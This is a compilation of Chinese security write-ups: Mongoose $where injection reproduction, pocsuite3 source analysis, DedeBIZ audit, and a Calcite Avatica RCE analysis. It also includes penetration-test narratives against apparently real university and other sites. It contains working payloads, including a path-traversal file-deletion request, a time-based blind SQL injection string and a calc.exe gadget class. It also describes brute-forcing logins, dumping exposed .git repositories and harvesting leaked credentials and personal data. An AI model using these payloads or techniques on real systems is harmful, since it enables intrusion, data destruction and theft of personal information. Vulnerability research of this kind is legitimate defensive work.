Mongoose 搜索注入漏洞分析
漏洞简介
CVE-2024-53900 Mongoose 8.8.3、7.8.3 和 6.13.5 之前的版本容易受到 $where 运算符不当使用的影响。此漏洞源于 $where 子句能够在 MongoDB 查询中执行任意 JavaScript 代码,这可能导致代码注入攻击以及未经授权的数据库数据访问或操纵。
CVE-2025-23061 Mongoose 8.9.5、7.8.4 和 6.13.6 之前的版本容易受到 $where 运算符不当使用的影响。此漏洞源于 $where 子句能够在 MongoDB 查询中执行任意 JavaScript 代码,可能导致代码注入攻击以及未经授权的数据库数据访问或操纵。该问题的存在是因为CVE-2024-53900的修复不完整。
Mongoose 是一个用于 Node.js 的 MongoDB 对象建模工具,它使得与 MongoDB 数据库交互变得更加简单和高效。我们可以看到这两个漏洞描述大体相同,都是因为在使用 $where 运算符时出现了问题。
环境搭建
安装 MongoDB 不知道是不是本地环境的问题,错误百出,于是还是采用 docker 来安装 docker pull mongo docker run --name mongodb -d -p 27017:27017 mongo
快速创建一个项目并指定 mongoose 版本
npm init -y
npm install mongoose@6.13.4 --save
node test.js
漏洞复现
根据漏洞特点我编写了一个 js 脚本,在不同版本下执行,比较不同情况对应的结果
const mongoose = require("mongoose");
// 连接 MongoDB
const MONGO_URI = "mongodb://localhost:27017/testdb";
async function testWhereInjection() {
await mongoose.connect(MONGO_URI, { useNewUrlParser: true, useUnifiedTopology: true });
// 定义 User 模型和 Post 模型
const UserSchema = new mongoose.Schema({
username: String,
isAdmin: Boolean,
password: String
});
const PostSchema = new mongoose.Schema({
title: String,
content: String,
author: { type: mongoose.Schema.Types.ObjectId, ref: 'User' }
});
const User = mongoose.model("User", UserSchema);
const Post = mongoose.model("Post", PostSchema);
// 插入测试数据
await User.deleteMany({});
await Post.deleteMany({});
const users = await User.insertMany([
{ username: "admin", isAdmin: true, password: "admin123" },
{ username: "user1", isAdmin: false, password: "user123" },
{ username: "user2", isAdmin: false, password: "user456" }
]);
await Post.insertMany([
{ title: "Post 1", content: "Content 1", author: users[0]._id },
{ title: "Post 2", content: "Content 2", author: users[1]._id }
]);
console.log("√ 已插入测试数据");
// 1. 正常的 populate 查询
try {
const result = await Post.findOne().populate({
path: 'author',
match: { username: "admin" }
});
console.log("√ 正常 populate 查询结果:", result);
} catch (err) {
console.error("× 正常 populate 查询失败:", err.message);
}
// 2. 测试 populate match 中的 $where 注入
try {
const result = await Post.findOne().populate({
path: 'author',
match: { $where: "this.isAdmin" } // 修改这里,去掉 return
});
console.log("√ `$where` populate 查询成功,说明可能存在漏洞:", result);
} catch (err) {
console.error("× `$where` populate 查询被拦截:", err.message);
}
// 3. 测试深层嵌套的 $where 注入
try {
const result = await Post.findOne().populate({
path: 'author',
match: {
$and: [
{ nested: { $where: "this.isAdmin" } } // 修改这里,去掉 return
]
}
});
console.log("√ 嵌套 `$where` populate 查询成功,说明可能存在漏洞:", result);
} catch (err) {
console.error("× 嵌套 `$where` populate 查询被拦截:", err.message);
}
// 4. 测试数组中的 $where 注入
try {
const result = await Post.findOne().populate({
path: 'author',
match: [{ $where: "this.isAdmin" }] // 修改这里,去掉 return
});
console.log("√ 数组中的 `$where` populate 查询成功,说明可能存在漏洞:", result);
} catch (err) {
console.error("× 数组中的 `$where` populate 查询被拦截:", err.message);
}
await mongoose.disconnect();
}
testWhereInjection().catch(console.error);
mongoose@6.13.4
mongoose@6.13.5
mongoose@6.13.6
通过执行结果我们发现,在 mongoose@6.13.4 中,$where 语句可以任意执行语句,经过修复后的 mongoose@6.13.5 中,只能通过嵌套来执行插入的语句,mongoose@6.13.6 已经修复了通过嵌套执行插入语句的问题。
漏洞分析
https://github.com/Automattic/mongoose/compare/6.13.4...6.13.5?diff=split&w=& 第一次进行修复
1. 首先判断 match 是否为一个数组,使用 Array.isArray(match) 进行检查。
2. 如果 match 是一个数组,则使用 for...of 循环遍历数组中的每个元素 item。
3. 对于每个 item,进行以下检查:
如果 item 不为 null (item !\= null),并且 item 对象中存在 $where 属性 (item.$where),则抛出一个 MongooseError 异常,错误信息为 "Cannot use $where filter with populate() match"。这是因为在 populate() 查询中不允许使用 $where 操作符。
4. 如果 match 不是一个数组,则进行另一个判断:
如果 match 不为 null (match !\= null),并且 match 对象中存在 $where 属性 (match.$where !\= null),同样抛出一个 MongooseError 异常,错误信息为 "Cannot use $where filter with populate() match"。
进行 populate() 查询时,防止使用 $where 操作符,检查传入的 match 参数是否包含 $where 属性,无论 match 是一个数组还是一个对象。如果发现 match 中存在 $where 属性,就会抛出一个 MongooseError 异常,提示不能在 populate() 查询中使用 $where 过滤器
https://github.com/Automattic/mongoose/compare/6.13.5...6.13.6?diff=split&w=& 第二次修复
1. 函数接受一个参数 match,表示要检查的对象。
2. 首先进行两个条件判断:
如果 match 为 null 或 undefined,直接返回,不进行后续检查。
如果 match 的类型不是对象,也直接返回,不进行后续检查。 这两个判断是为了避免对非对象类型进行遍历和递归。
3. 使用 Object.keys(match) 获取 match 对象的所有属性键,并使用 for...of 循环遍历每个属性键 key。
4. 对于每个属性键 key,进行以下检查:
如果 key 等于 '$where',表示在 match 对象中发现了 $where 操作符,抛出一个 MongooseError 异常,错误信息为 "Cannot use $where filter with populate() match"。
5. 如果当前属性的值 match[key] 不为 null 或 undefined,并且其类型为对象,则递归调用 throwOn$where 函数,将 match[key] 作为参数传入,对嵌套的对象进行相同的检查。
通过递归调用 throwOn$where 函数,可以对 match 对象进行深度遍历,检查其中是否包含 $where 操作符,无论 $where 操作符位于对象的哪个层级。
pocsuite3安全工具源码分析
pocsuite3 是由 知道创宇 404实验室 开发维护的开源远程漏洞测试和概念验证开发框架。为了更好理解其运行逻辑,本文将从源码角度分析该项目的初始化,多线程函数,poc模板等等源码。
项目结构
api:对要导入的包重命名,方便后续导入调用data:存储用户需要使用的文档数据lib:项目核心代码modules:存储用户自定义的模块plugins:存储用户自定义的插件pocs:存储poc文件shellcodes:存储生成php,java,python等脚本语言的利用代码,以及反弹shell的利用代码cli.py:项目的入口console.py:命令行界面
进入项目入口:/pocsuite3/cli.py
check_environment() #检查当前工作目录是否符合当前系统set_paths(). #设置后续需要用到的数据,目录信息banner() #打印命令行页面的横幅
init_options(cmd_line_parser().dict) # 命令行参数处理跟进cmd_line_parser()查看:
此处注意一个参数-c
target.add_argument("-c", dest="configFile", help="Load options
from a configuration INI file")
可以先在pocsuite.ini配置好参数,通过pocsuite -c pocsuite.ini 运行
双重跟进init_options(),找到命令行存储参数:
可见采用了类似字典的形式存储,避免了重复数据且还有其它四个参数也采用了该形式存储,五个参数贯穿整个项目
conf:存储基本配置信息kb:存储了目标地址、加载的PoC、运行模式、输出结果、加载的PoC文件地址、多线程信息等cmd_line_options:是存储命令行输入的参数值merged_options:存储输入值与默认值合并后的结果paths:存储数据、插件、poc等目录地址
参数获取处理完后,进入项目初始化,init()函数,一下对部分函数进行注解分析:
def init():
"""
Set attributes into both configuration and knowledge base singletons
based upon command line and configuration file options.
"""
set_verbosity() #日志输出级别设置
_adjust_logging_formatter() #调整日志格式器
_cleanup_options() #将各个配置项格式化,并校验合法性
_basic_option_validation() #校验seebug,zoomeye等api,token的合法性
_create_directory() #检测文件路径是否存在,不存在则创建
_init_kb_comparison()
update()
_set_multiple_targets() #读取目标
_set_user_pocs_path()
_set_pocs_modules() #动态加载poc
_set_plugins() #动态加载插件
_init_targets_plugins()
_init_pocs_plugins()
_set_task_queue() #初始化多线程设置
_init_results_plugins() #初始化输出插件
AttribDict类解析
前文也提到过以下五个全局变量,它们均通过创建AttribDict类的实例进行使用,现在我们跟进类详细分析:
AttribDict()类:
自定义类,继承自python内建的OrderedDict类,扩展访问方式,简化了对字典键的访问。主要存在三个方法:getattr(),setattr(),delattr()这三个方法在if判断逻辑均相同:1:以双下划线 __ 开头(例如,Python 的内置属性,如 dict)。2:以 _OrderedDict__ 开头(因为 OrderedDict在内部实现中使用的名称)。3:名字存在于 exclude_keys 集合中(排除的键)。如果任一条件成立,说明这个属性不应该通过 obj.attr访问,所以跳过使用自定义的 getattr处理,直接调用父类对应的方法访问。例:getattr()就调
如果属性名不满足,则通过字典的方式,添加或者删除AttribDict中
地址处理代码分析
先查看存储初始数据,存在则进行下一步。通过set()创建集合方便去重,再遍历conf.url数据,通过parde_target()进行对url进行分析处理,并且在不为空的情况下调用集合的add()方法添加,完成后再将,用于临时存储的target集合里面的数据,放到kb这种全局变量内。parde_target()函数
接受参数后先if判断,如果是域名,url,ip:端口形式则直接赋值给target跟进其中一个判断函数:
跟进:
可见是通过正则进行判断。接着再判断如果为http://ipv6形式,则启动ipv6配置,并进行赋值target,依旧是正则判断。
再判断如果为ipv4则调用python内置ip_address解析赋值,该方法自动区分ipv4或者ipv6并最后返回对应的对象。再通过else判断,对纯ipv6地址,或者ipv6网络进行解析赋值。
动态poc加载
Step1:从pocs目录加载先通过os.listdir读取对应目录,返回一个含有poc的py文件的列表。再通过filter()函数过滤init.之类文件,不过此时filter()函数返回的是一个迭代器,所以又通过list()函数将数据处理成列表再赋值。(lambda x: x not in ['init.py','init.pyc']:这个匿名函数会检查每个文件名 x 是否不等于'init.py' 或 'init.pyc'。)
再从含有类似thinkphp_poc.py的文件名中,通过x变量循环读取,并通过splitex()函数将其分为"thinkphp_poc",".py"格式的键值队元组。再次通过dict()字典函数,将x元组的第一个元素作为字典的键,第二个元素作为字典的值。
如果poc是目录,则使用 os.walk() 递归遍历该目录下的所有文件,过滤出 .py或 .yaml 文件,并将其完整路径添加到 _pocs 列表中。
Step2:遍历加载 PoC 文件内容并检查,并对加载失败的poc进行日志记录。
Step3:最后从 Seebug 网站加载 PoC。
poc模版跟据目录找到现存poc:pocsuite3/pocs,thinkphp_rce为例
所有模版均是继承自父类POCBase,跟进:
父类在初始化时便设置了一系列可能用到的属性,例如自定义headers,目标url,端口等等。这里关注execute()函数
self.url处采用if判断:如果为http协议则采用parse_target_url()解析,else采用build_url()解析:mode值默认为verify。随后调用_execute()根据mode值执行。
shell(),attack(),_verify()均需自定义重写。回到例thinkphp_rce例子:_verify()函数如下:
调用了_check()函数进行检验:
通过request.post()发送设置好payload的请求,根据返回包关键字判断是否成功。(flag自定义)返回的结果在_verify()函数又会调用parse_output()转化为json格式输出。
动态核心load_file_to_module()继续分析_set_pocs_modules()
将读取文件切割为文件名和后缀名,根据后缀名重构路径file_pth,if判断file_path构建成功则进入红框代码处。
通过get_filename()从file_path路径提取文件名,由于wuth.ext=False,则不提取文件名后缀,提取后拼接在pocs_后并赋值给module,例如:pocs_thinkphp_rce。随后三行代码涉及到python中动态模块加载知识:
spec = importlib.util.spec_from_file_location(module_name, file_path,
loader=PocLoader(module_name, file_path))
#创建模块规格,采用自定义加载器类加载模块,loader:加载器对象,负责如何从文件加载模块
mod = importlib.util.module_from_spec(spec)#根据规格创建模块对象
spec.loader.exec_module(mod) #执行模块代码,确保为完整可用的模块
动态模块注解:
模块是包含 Python 代码的文件,可以通过 import语句加载并使用。通常,当你使用 import 语句导入一个模块时,Python会根据模块的名称查找相应的文件(如 .py 文件),并将其加载到内存中。
然而,在一些特殊的情况下,比如动态加载模块或运行时创建模块,我们需要用到importlib 模块。importlib提供了一些工具,可以帮助我们在运行时加载模块,而不是在编写代码时静态地导入。
例如:importlib.util.spec_from_file_location
spec(模块加载规格)描述了如何加载一个模块。它定义了如何找到模块代码,如何加载它,以及加载时需要的一些元数据。类似于说明书,它告诉Python 模块在哪里、叫什么名字、以及如何加载它。
接着看看是如何调用loader加载器的exec_module()函数进行加载的:
filename接受poc绝对路径,poc_code接受poc文件内容。随后调用check_requires()检查代码运行中需要的包,通过import函数导入。compile()为python内置函数,将源代码字符串poc_code编译为字节码,'exec'这是一个编译模式,表示代码将作为一段可执行的代码被执行。常见的编译模式有'eval'(用于单个表达式)和 'exec'(用于整个代码块)之后再调用exec()函数执行字节码对象obj当中的代码,并绑定到module.dict上,这样就可以通过module.函数()直接调用poc_code当中的函数。
多线程与输出加载
跟进:_set_task_queue()
if判断,poc模版与目标ip均不为空情况下,遍历出poc_module与target。并将它们组成元组,加入kb.task_queue中,确保数据在线程安全传输。
start()函数
调用runtime_check()检查poc是否加载成功:
再调用python标准库中的queue.Queue类的qsize()方法,获取先前kb.task_queue队列的任务数量。run_threads()函数随后进入start()函数核心:run_threads(conf.threads, task_run):该函数传入线程数conf.threads(),与多线程执行函数task_run()。
这个函数的目的是启动多个线程并执行给定的函数thread_function。num_threads: 需要启动的线程数量。thread_function: 要在线程中运行的目标函数。args: 传递给 thread_function 的参数,默认为空元组。forward_exception: 控制是否在捕获异常后继续传播异常,默认值为 True。start_msg: 控制是否输出启动线程的消息,默认值为 True。
先threads = []创建空列表,用来存储后续的线程实例
随后进行线程数检查,如果大于1,则是多线程,并在线程数超过max时发出告警提示,线程不大于1,则直接执行函数
检查完为多线程则进行下一步:循环创建线程,并启动
根据num_threads数量循环创建,并调用setDaemon(TRUE)将所有线程设置为守护线程。(守护线程:后台运行,随主线程终止而终止)
随后再调用python标准库函数isAlive()进行循环检查,直到所有线程完成才跳出循环。(python3建议使用is_Alive()函数)。
执行完run_threads()函数后,finally代码再执行task_done(),跟进该函数,内部存在三个函数:
show_task_result():会取出poc执行结果,然后格式化输出
result_plugins_start():该函数负责调用file_record.py中的start()函数
result_compare_handle():显示来自各个搜索引擎的对比数据
先前已经分析了start(0函数核心在于run_threads(conf.threads,task_run),我们接着跟进分析多线程执行函数:task_run()
多线程执行函数:
task_run():
先确认task_queue不为空,并且thread_continue为真,随后从task_queue获取目标ip与poc模版
(之前通过task_queue.put((target,poc_module))存储进去的)
随后调用python标准库copy模块中的deepcpy,进行深拷贝操作,复制poc模版,防止原始poc模块被修改。
poc_name获取poc模块名称方便日志打印。
随后处理用户自定义参数,检查是否尝试修改白名单内容,并校验是否存在必选参数未设置。
随后进入核心代码块,根据传参调用excute()函数:
后续则是根据测试成功或者失败,对结果进行处理输出
综合文章分析,pocsuite3项目被我分成如下执行流程:
在clip.py中调用main()函数,整个项目则开始执行,进行环境检查,参数获取后,则进入核心代码:在main()函数中调用init()与start()函数,最后则是我上文刚分析过的数据处理与输出格式化。
DedeBIZ系统审计小结
之前简单审计过DedeBIZ系统,网上还没有对这个系统的漏洞有过详尽的分析,于是重新审计并总结文章,记录下自己审计的过程。
https://github.com/DedeBIZ/DedeV6/archive/refs/tags/6.2.10.zip📌DedeBIZ 系统并非基于 MVC 框架,而是采用 静态化与动态解析结合 的方式进行页面处理。其“路由”主要依赖 静态文件跳转 和 数据库模板解析,因此可以直接访问 PHP 文件来触发相应的动态解析逻辑。
我一般会首先关注对文件的操作,任意文件上传、任意文件删除,任意文件读取、任意文件下载等漏洞都是我第一时间关注的重点,除了黑盒测试时关注功能点外,通过代码审计来看的话速度会更快一点。(这里有一个小技巧,就是直接全局搜索?filename= ,一些 js 文件中可能会包含对文件处理的操作,搜索到后就可以直接进行尝试。)
授权任意文件删除
GET /admin/file_manage_control.php?fmdo=del&filename=../1.txt HTTP/1.1
Host: dedev6.test
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=51t797sesf49d9oo8je5ugvjfa; dede_csrf_token=dfb0e80d4f74949ef3730a90d3f49c64; dede_csrf_token__ckMd5=554688926d285f96; DedeUserID=1; DedeUserID__ckMd5=6269166a7279678f; DedeLoginTime=1703426661; DedeLoginTime__ckMd5=7c3591094ad5f36b; DedeStUUID=22636dd1d7205; DedeStUUID__ckMd5=bae1
Connection: close
src\admin\file_manage_control.php
src\admin\file_class.php#DeleteFile
该漏洞发生在 file_manage_control.php 处理 fmdo=del请求时,由于 DeleteFile方法直接拼接 filename参数生成完整路径并调用 unlink 删除文件,缺乏路径校验,导致攻击者可以构造 ../进行目录遍历,删除任意文件。通过 GET /admin/file_manage_control.php?fmdo=del&filename=../1.txt请求,利用 filename=../1.txt逃出受限目录,删除站点根目录下的 1.txt文件。
授权 SQL 注入
首先需要创建表单
修改添加字段信息
点击字段发布信息
构造数据包
POST /admin/diy_list.php?action=delete&diyid=1&id[]=1)AND+sleep(5 HTTP/1.1
Host: dedev6.test
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://dedev6.test/admin/index_body.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=51t797sesf49d9oo8je5ugvjfa; dede_csrf_token=dfb0e80d4f74949ef3730a90d3f49c64; dede_csrf_token__ckMd5=554688926d285f96; DedeUserID=1; DedeUserID__ckMd5=6269166a7279678f; DedeLoginTime=1703426661; DedeLoginTime__ckMd5=7c3591094ad5f36b
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
构造 payload 1)AND+(case(1)when(ascii(substr((select(database()))from(1)for(1)))=100)then(sleep(5))else(1)end
(case(1)when(ascii(substr((select(database()))from(1)for(1)))=100)then(sleep(5))else(1)end 为 true 与查询出的数据库名 dedebiz 第一个字母 d 的 ascii 相符合。
为什么我们操作的时候需要那么多的前置条件呢,接下来我会详细说明,首先我们从代码层面查看:
src/admin/diy_list.php
对传入的参数 数组 id 通过 , 拼接起来,最后传参到 SQL 语句:
$query = "DELETE FROM `$diy->table` WHERE id IN ($ids)";
参数可以通过 ) 闭合,构成 SQL 注入
我们注意到:
$query = "DELETE FROM `$diy->table` WHERE id IN ($ids)";
if ($dsql->ExecuteNoneQuery($query)) {
showmsg('删除成功', "diy_list.php?action=list&diyid={$diy->diyid}");
} else {
showmsg('删除失败', "diy_list.php?action=list&diyid={$diy->diyid}");
}
执行的结果并不会直接返回到界面上,所以这个漏洞时一个盲注漏洞,基于盲注漏洞的特点以及执行数据库时,如果这个表为空,那么便不会执行成功,为了使这个数据库语句执行成功,数据库中必须先保存有数据。
同时这个注入漏洞可以说绝无仅有:
对比代码我们发现,就这一部分没有对变量 id 的类型进行检测。
Apache Calcite Avatica 远程代码执行(CVE-2022-36364)
前段时间看到Apache Calcite Avatica远程代码执行漏洞 CVE-2022-36364 在网上搜索也没有找到相关的分析和复现文章,于是想着自己研究一下,看能不能发现可以利用的方法。
首先利用一下最近比较热门的 Deepseek ,询问他是否清楚漏洞相关的信息。
通过回答我们可以了解到这个漏洞的概况,具体漏洞的版本,以及漏洞产生的原因。
漏洞简介
Apache Calcite Avatica JDBC 驱动程序根据通过 httpclient_impl 连接属性提供的类名来创建 HTTP 客户端实例;但是在驱动程序实例化之前不会验证该类是否实现了预期的接口,这样一来就会导致可以通过调用任意类来执行代码。
执行这个漏洞并造成一定的危害性,还需要两个先决条件:
必须拥有控制 JDBC 连接参数的权限
类路径中有一个具有 URL 参数和执行代码能力的函数(目前需要自己构造)
漏洞复现&分析
简单点,通过 maven 来创建漏洞环境
<!-- https://mvnrepository.com/artifact/org.apache.calcite.avatica/avatica -->
<dependency>
<groupId>org.apache.calcite.avatica</groupId>
<artifactId>avatica</artifactId>
<version>1.21.0</version>
</dependency>
创建完成漏洞环境后,我们就需要来编写一段代码想办法触发这个漏洞,我个人的建议是通过对比代码补丁,一般来说修复完成代码后,总会写一个测试类来进行测试
import org.apache.calcite.avatica.BuiltInConnectionProperty;
import org.apache.calcite.avatica.ConnectionConfig;
import org.apache.calcite.avatica.ConnectionConfigImpl;
import org.apache.calcite.avatica.remote.AvaticaHttpClient;
import org.apache.calcite.avatica.remote.AvaticaHttpClientFactory;
import org.apache.calcite.avatica.remote.AvaticaHttpClientFactoryImpl;
import java.net.URL;
import java.util.Properties;
public class test {
public static void main(String[] args) throws Exception {
Properties props = new Properties();
props.setProperty(BuiltInConnectionProperty.HTTP_CLIENT_IMPL.name(),"className");
URL url = new URL("url");
ConnectionConfig config = new ConnectionConfigImpl(props);
AvaticaHttpClientFactory httpClientFactory = new AvaticaHttpClientFactoryImpl();
AvaticaHttpClient client = httpClientFactory.getClient(url, config, null);
}
}
这样一来我们就编写了一个漏洞 Demo calssName 和 url 的值是我们可以操作控制的,我们进行调试分析一下
org.apache.calcite.avatica.remote.AvaticaHttpClientFactoryImpl#getClient
这个地方我们就注意到了最后调用 instantiateClient 来处理的两个参数 className 和 url 一个来自于直接传参,另一个来自于 config.httpClientClass() 会从 config 对象中获取 HTTP 客户端的实现类名称,并将其作为一个 String 返回
所以当参数传入到 org.apache.calcite.avatica.remote.AvaticaHttpClientFactoryImpl#instantiateClient 其中的两个参数 className 和 url 都是我们可以控制的
不需要向下继续调试,我们就看到了关键代码 constructor.newInstance(Objects.requireNonNull(url));
这样一来我们就可以通过控制 className 和 url 来实现调用任意类,但是这个类的必须有 URL 参数的处理
刚开始想到的方法是
利用 spring 中的类构造函数加载远程配置实现 RCE
org.springframework.context.support.ClassPathXmlApplicationContext
import org.springframework.context.support.ClassPathXmlApplicationContext;
public class JXpathDemo {
public static void main(String[] args) {
String s = "http://127.0.0.1:8080/bean.xml";
ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext(s);
}
}
似乎如此一来就满足了条件,我们先试试
爆出了一个错误,我们注意到 lassPathXmlApplicationContext 类没有接收 java.net.URL 参数的构造方法。ClassPathXmlApplicationContext 类的构造方法接收的是 String 类型的路径,通常是用于加载 Spring 配置文件的路径。
所以这种利用方式适用于很多种情况 Apache Commons JXPath 远程代码执行、PostgresQL JDBC Driver 任意代码执行 等,但是并不适配当前的环境。(目前还没有找到合适的类来触发利用这种漏洞)
为了进一步体现危害性,我自己创建一个类来体现
import java.net.URL;
public class CustomHttpClient {
private URL url;
// 构造函数,接受一个 URL 类型的参数
public CustomHttpClient(URL url) throws Exception {
Runtime.getRuntime().exec("calc.exe");
}
}
漏洞修复
通过对比我们发现对传入的类进行了控制,限定必须属于AvaticaHttpClient 的子类
https://github.com/apache/calcite-avatica/commit/0c097b6a685fc1f97f151505a219976f15ed0c4c?diff=split&w=0&
从靶场到实战:双一流高校多个高危漏洞
本文结合其它用户案例分析讲解挖掘某双一流站点的过程,包含日志泄露漏洞深入利用失败,到不弱的弱口令字典进入后台,再到最后偶遇一个貌似只在靶场遇到过的高危漏洞。
信息搜集:
web站点的话从域名,ip等入手范围太大了,于是决定直接从小程序入手。
微信搜索学校名称,便直接可以通过公众号,小程序寻找目标。这里注意如果你要挖掘某edu的漏洞,就可以多关注他们的公众号,小程序,看看最近有没有什么新的功能出现,这种功能点漏洞比较容易出现。
于是我直接在某公众号发现了一个新功能:报名入口。临近毕业,所有有很多公司可能会来学校宣讲或者招人,这种时候就很有可能出现新功能,本案例就是。
照常点击功能,出现跳转,直接转浏览器测web页面。
日志泄露nday:
在登陆时发现限定了登陆时间,而目前已经不在时间内,可见这其实就是一个临时的系统。
我检查js信息尝试调试js绕过,没成功就通过报错发现为thinkphp框架,直接上工具一把梭。
链接:https://github.com/Lotus6/ThinkphpGUI
只可惜只存在一个日志泄露的nday,没能shell。
根据日志泄露目录可以发现能够遍历近一年的日志信息,此时的思路就是从日志中看能不能拿到管理员或者其它用户登陆的敏感信息,例如账号密码之类,这样就可以扩大日志泄露危害,进一步挖掘利用。
参考文章:
https://cloud.tencent.com/developer/article/1752185这篇文章就是利用kali自带工具whatweb探测出thinkphp框架:
并通过dirb扫除.svn泄露:
再通过svnExploit工具进行下载利用:
链接:https://github.com/admintony/svnExploit
并在svn中发现大量日志泄露:
并通过找到最新的日志信息,找到密码hash值,通过cmd5实现解密并成功进入后台:
https://blog.csdn.net/qq_41781465/article/details/144092247这篇文章也是在日志信息中成功找到账号密码,配合dirsearch扫出后台,成功登陆:
不过我这次日志信息量虽然很大,且经过我实际尝试也确实会记录我的一些操作信息,但翻遍日志却并貌似不存在敏感信息:
但我发现在日志中泄露了sql语句,貌似可以寻找对应接口,参数拼接成数据包尝试sql注入,但我找遍了日志都没有发现可以直接使用的接口或者代入了sql语句的参数。
不弱的弱口令:
翻找js文件,尝试直接拼接登陆验证接口,和其它查询接口全部失败。
不过根据找到的其它js路径发现其目录结构基本拼接在/syl/下,于是根据经验在目录后拼接admin,系统跳转到后台管理员登陆界面,输入账户为admin页面显示密码错误,输入其它账户页面显示账号不存在,可知账户为admin。
根据页面特征制作字典并加上弱口令top500的内容,尝试爆破成功:密码为页面根路径字母syl+88888888。
这种:syl88888888一看就是弱口令,但如果你只是通过现存的什么top100,top500这种字典是爆破不出来的,所以在进行渗透测试时一定还要根据页面特征,关键字,系统名称首字母等信息制作特定的社工字典尝试。
比如kali自带的cewl工具,便是一种基于爬虫,对页面目录信息进行循环爬取再生成字典的工具。
工具分析文章:https://www.cnblogs.com/jackie-lee/p/16132116.html
成功进入后台。
并发现大量信息泄露:
存在四千多条用户敏感信息泄露。
爬出靶场的高危:
通过dirsearch扫描目录,看有没有结果。
直接扫出来了好几条.git路径,直接访问泄露的路径看不出什么敏感信息。
但很明显站点存在.git信息泄露漏洞,一个我曾经只在ctf技能树复现过的漏洞。
Git就是一个开源的分布式版本控制系统,在执行gitinit初始化目录时会在当前目录下自动创建一个.git目录,用来记录代码的变更记录等,发布代码的时候如果没有把.git这个目录删除而是直接发布到https://cloud.tencent.com/product/cvm/?from_column=20065&from=20065上,那么攻击者就可以通过它来恢复源代码,从而造成信息泄露等一系列的安全问题。
尝试githack进行探测利用(只能python2使用)
工具链接:https://github.com/BugScanTeam/GitHack
该工具基本原理就是解析.git/index文件,找到工程中所有的文件,文件名,再去.git/objects/文件夹下下载对应的文件,并通过zlib解压文件并按原始的目录结构写入源代码
结果我直接把整个git扒了下来,得到站点整套源码,于是通过vscode打开分析:
随意翻找文件,找到mysql数据库账号密码,于是扫描端口发现开启3306,尝试连接,发现似乎做了IP白名单限制,于是放弃。
再翻找文件,发现居然直接把后台部分用户的信息写在了.sql文件内,包含姓名,身份证,电话等信息,不过只有几百条。
此处其实还可以深入对php源码进行审计,发现更多高危漏洞,但我却不会php代审,所以打到这里就收工了,觉得应该可以拿证了。
整个渗透过程很顺利,大概就两三个小时,还是信息搜集做得好,不然都不一定能出成果,同时需要多阅读漏洞挖掘文章,这样在渗透测试过程中才能对漏洞利用更加熟练。
三个月测一站之漏洞挖掘纯享版
好久前偶遇一个站点,前前后后大概挖了三个月才基本测试完毕,出了好多漏洞,也有不少高危,现在对部分高危漏洞进行总结分析。
nday进后台:
开局一个登录框:
通过熊猫头插件提取接口,并结合js分析,跑遍了提取到的路径也没有结果。尝试弱口令登录,但是由于连用户名提示都没有,也以失败告终。最后根据页面title关键字搜索找到该平台的权限绕过nday成功进入后台。
语句:xxx系统历史漏洞 or xxx平台历史漏洞
如上图,拼接payload,通过/../..;号实现权限绕过:
302跳转进入后台,发现为管理员界面。
进入一个系统时,一定不要着急马上测试,要先总体看看这个系统的功能点,基本结构,布局,然后再将功能点转化为数据包,接口,参数进行测试。
总体看了看系统功能点,便点进个人信息处,尝试文件上传漏洞getshell。
点击选择,随后页面进行了一个奇怪的跳转:新开了一个页面
我先尝试文件上传,不过只能上传图片格式,我观察到该文件路径中存在:type=images,于是尝试将images自行修改,不过这种页面居然不能修改url,于是复制url放到正常浏览器访问,尝试修改无果。
发现页面存在修改文件后缀功能,但也被限制。
这时我发现站点采用了ckfinder编辑器,于是按照:xxx历史漏洞继续搜索:\
翻看大量文章后并未发现能成功复现的漏洞,但我发现了ckfinder的一个新路径:
将url的?后面全部删除进入如下界面:
这时发现刚才原来只是处于images文件夹下,所以被限制很严格。
于是我再次在files文件夹下上传可执行文件,但jsp和php之类均被限制,jspf或者jspx也无法绕过,只有尝试xss类型文件上传了:
上传发现关键字被黑名单限制,于是先上传了一个空的txt文档,上传后再对内容,后缀名进行修改:
修改如下:
双击访问:
成功执行恶意js代码,造成弹窗,这种漏洞就会很容易在管理员访问时,直接将cookie盗取。
同时记住,想这种功能点,属于站点较为深入的功能点处,还极可能存在未授权访问漏洞,删除认证字段访问:
访问成功,由此获得未授权访问加xss类型文件上传漏洞。
这种类型漏洞就可用作挂马,制作钓鱼页面等高危害操作。
多处sql注入漏洞:
该站点功能点很多,这也是为什么我测了很久的原因:
注入点1:
经过翻找发现如下页面,可直接执行sql语句:
输入sql语句抓包查看:
延时成功,虽然从设计功能点来看,这其实并不能算是漏洞,因为本身开发者就是要这么设计的,但在挖掘漏洞时,这种功能点依旧可以通过审核,且在实战中如果这类功能点没有做好权限限制,也能利用sql语句获取敏感信息,写马,修改账户密码等。
注入点2:
功能点如下,此站点查询功能点极其多,但并不是每一个都有漏洞,所以黑盒测试就需要一个个慢慢测试:
抓包,输入单引号报错,两个单引号页面正常,尝试sql手注:
利用堆叠注入延时成功。
数据库的遍历:
继续探索,发现如下页面:
先前便提到过,黑河测试一定要将功能点转化为数据包,接口,参数进行测试,不然这时我可能只会看到一个数据库信息而已。
我翻看该功能点数据包时,直接就发现了展现该页面的请求包与返回数据:
如上图,泄露了数据库地址,账户密码。
但此时注意请求包参数:id=1,很明显,我直接遍历id值:
在前端其实只能看到一个数据库的地址,用户密码。也就是id=1时的数据,而转化为数据包观察,直接实现数据库信息遍历,拿下五台数据库敏感信息,包含mysql,oracle等类型,危害瞬间扩大。
软件系统安全逆向分析-混淆对抗
1. 概述
在一般的软件中,我们逆向分析时候通常都不能直接看到软件的明文源代码,或多或少存在着混淆对抗的操作。下面,我会实践操作一个例子从无从下手到攻破目标。
花指令对抗
虚函数表
RC4
2. 实战-donntyousee
